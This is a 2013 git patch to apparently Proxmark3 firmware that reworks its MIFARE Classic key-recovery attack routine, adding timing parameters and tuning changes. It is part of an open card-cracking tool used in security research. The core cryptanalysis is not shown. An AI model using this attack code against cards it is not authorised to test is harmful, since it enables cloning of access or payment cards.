From 3b33bda694bcd22e2ceb8c9ff052f8fd4b81e3e8 Mon Sep 17 00:00:00 2001 From: "martin.holst@gmail.com" Date: Wed, 26 Jun 2013 20:44:44 +0000 Subject: [PATCH] Finishing touches on new mifare classic hack rework --- armsrc/appmain.c | 2 +- armsrc/apps.h | 2 +- armsrc/iso14443a.c | 113 +++++++++++++++++++++++++++------------------ 3 files changed, 71 insertions(+), 46 deletions(-) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index 7fc399a6..cecf4d35 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -772,7 +772,7 @@ void UsbPacketReceived(uint8_t *packet, int len) break; case CMD_READER_MIFARE: - ReaderMifare(c->arg[0]); + ReaderMifare(c); break; case CMD_MIFARE_READBL: MifareReadBlock(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); diff --git a/armsrc/apps.h b/armsrc/apps.h index 5ebe318f..2f003cc4 100644 --- a/armsrc/apps.h +++ b/armsrc/apps.h @@ -156,7 +156,7 @@ void RAMFUNC SniffMifare(uint8_t param); void EPA_PACE_Collect_Nonce(UsbCommand * c); // mifarecmd.h -void ReaderMifare(uint32_t parameter); +void ReaderMifare(UsbCommand *c); void MifareReadBlock(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *data); void MifareReadSector(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain); void MifareWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain); diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index 0a5512b4..111d7139 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -1831,8 +1831,7 @@ int TuneMifare(int time) { // Mifare AUTH uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b }; - //uint8_t mf_nr_ar[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; - uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); // was 3560 - tied to other size changes + uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); iso14443a_setup(); int TIME1=time; @@ -1840,7 +1839,7 @@ int TuneMifare(int time) uint8_t uid[8]; uint32_t cuid; byte_t nt[4]; - Dbprintf("Tuning... testing a delay of %d ms",time); + Dbprintf("Tuning... testing a delay of %d ms (press button to skip)",time); mftest nt_values[TEST_LENGTH]; @@ -1906,7 +1905,6 @@ int TuneMifare(int time) #define STATE_SIZE 100 typedef struct AttackState{ byte_t nt[4]; - //byte_t nt_attacked[4]; byte_t par_list[8]; byte_t ks_list[8]; byte_t par; @@ -1987,40 +1985,84 @@ void reportResults(uint8_t uid[8],AttackState *pState, int isOK) if (MF_DBGLEVEL >= 1) DbpString("COMMAND mifare FINISHED"); } +void ReaderMifareBegin(uint32_t offset_time, uint32_t powerdown_time); - - -void ReaderMifare(uint32_t parameter) +/** + * @brief New implementation of ReaderMifare, the classic mifare attack. + * This implementation is backwards-compatible, but has some added parameters. + * @param c the usbcommand in complete + * c->arg[0] - nt_noattack (deprecated) + * c->arg[1] - offset_time us (0 => random) + * c->arg[2] - powerdown_time ms (0=> tuning) + * + */ +void ReaderMifare(UsbCommand *c) { - /** - *First, we tune it. - **/ - int entropy = 100; - int time = 25; - entropy = TuneMifare(time); + /* + * The 'no-attack' is not used anymore, with the introduction of + * state tables. Instead, we use an offset which is random. This means that we + * should not get stuck on a 'bad' nonce, so no-attack is not needed. + * Anyway, arg[0] is reserved for backwards compatibility + uint32_t nt_noattack_uint = c->arg[0]; + byte_t nt_noattack[4]; + num_to_bytes(parameter, 4, nt_noattack_uint); - while(entropy > 50 && time < 2000){ - //Increase timeout, but never more than 500ms at a time - time = MIN(time*2, time+500); - entropy = TuneMifare(time); + */ + /* + *IF, for some reason, you want to attack a specific nonce or whatever, + *you can specify the offset time yourself, in which case it won't be random. + * + * The offset time is microseconds, MICROSECONDS, not ms. + */ + uint32_t offset_time = c->arg[1]; + if(offset_time == 0) + { + //[Martin:]I would like to have used rand(), but linking problems prevented it + //offset_time = rand() % 4000; + //So instead, I found this nifty thingy, which seems to fit the bill + offset_time = GetTickCount() % 2000; } + /* + * There is an implementation of tuning. Tuning will try to determine + * a good power-down time, which is different for different cards. + * If a value is specified from the packet, we won't do any tuning. + * A value of zero will initialize a tuning. + * The power-down time is milliseconds, that MILLI-seconds . + */ + uint32_t powerdown_time = c->arg[2]; + if(powerdown_time == 0) + { + //Tuning required + int entropy = 100; + int time = 25; + entropy = TuneMifare(time); - if(entropy > 50){ - Dbprintf("OBS! This card has high entropy (%d) and slow power-down. This may take a while", entropy); + while(entropy > 50 && time < 2000){ + //Increase timeout, but never more than 500ms at a time + time = MIN(time*2, time+500); + entropy = TuneMifare(time); + } + if(entropy > 50){ + Dbprintf("OBS! This card has high entropy (%d) and slow power-down. This may take a while", entropy); + } + powerdown_time = time; } - Dbprintf("Using power-down-time of %d ms, entropy %d", time, entropy); + //The actual attack + ReaderMifareBegin(offset_time, powerdown_time); +} +void ReaderMifareBegin(uint32_t offset_time, uint32_t powerdown_time) +{ + Dbprintf("Using power-down-time of %d ms, offset time %d us", powerdown_time, offset_time); /** *Allocate our state-table and initialize with zeroes **/ - AttackState states[STATE_SIZE] ; - - - Dbprintf("Memory allocated ok! (%d bytes)",STATE_SIZE*sizeof(AttackState) ); + //Dbprintf("Memory allocated ok! (%d bytes)",STATE_SIZE*sizeof(AttackState) ); memset(states, 0, STATE_SIZE*sizeof(AttackState)); - // Mifare AUTH + + // Mifare AUTH uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b }; uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); // was 3560 - tied to other size changes @@ -2028,7 +2070,6 @@ void ReaderMifare(uint32_t parameter) tracing = false; iso14443a_setup(); - LED_A_ON(); LED_B_OFF(); LED_C_OFF(); @@ -2037,8 +2078,6 @@ void ReaderMifare(uint32_t parameter) uint8_t uid[8]; uint32_t cuid; - byte_t nt_noattack[4]; - num_to_bytes(parameter, 4, nt_noattack); byte_t nt[4]; int nts_attacked= 0; //Keeps track of progress (max value of nt_diff for our states) @@ -2048,10 +2087,10 @@ void ReaderMifare(uint32_t parameter) { LED_C_OFF(); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - SpinDelay(time); + SpinDelay(powerdown_time); FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); LED_C_ON(); - SpinDelay(2); + SpinDelayUs(offset_time); if(!iso14443a_select_card(uid, NULL, &cuid)) continue; @@ -2096,9 +2135,6 @@ void ReaderMifare(uint32_t parameter) high_entropy_warning_issued = 1; } } - - - if(pState == NULL) continue; int result = continueAttack(pState, receivedAnswer); @@ -2117,19 +2153,8 @@ void ReaderMifare(uint32_t parameter) //Dbprintf("Continue attack no answer, par is now %d", pState->par); } else if(result == 0){ - //uint64_t par_list = bytes_to_num((uint8_t*)&pState->par_list, 8); - //uint64_t ks_list = bytes_to_num((uint8_t*)&pState->ks_list, 8); - //uint32_t xnt = bytes_to_num((uint8_t*)&pState->nt,4 ); - //uint32_t xuid = (uint32_t)bytes_to_num((uint8_t*)&uid, 4); - //Dbprintf("\n#nuid(%08x) nt(%08x) par(%016x) ks(%016x)",xuid,xnt,par_list,ks_list); - //Dbprintf("\n./nonce2key %08x %08x %016x %016x\n",xuid,xnt,par_list,ks_list); - //Dbprintf("Finished"); reportResults(uid,pState,1); return; - //memset(pState, 0, sizeof(AttackState)); - //memcpy(pState->nt, nt, 4); - //Dbprintf("State reset for state %d!", i); - //return; } } reportResults(uid,NULL,0); -- 2.39.2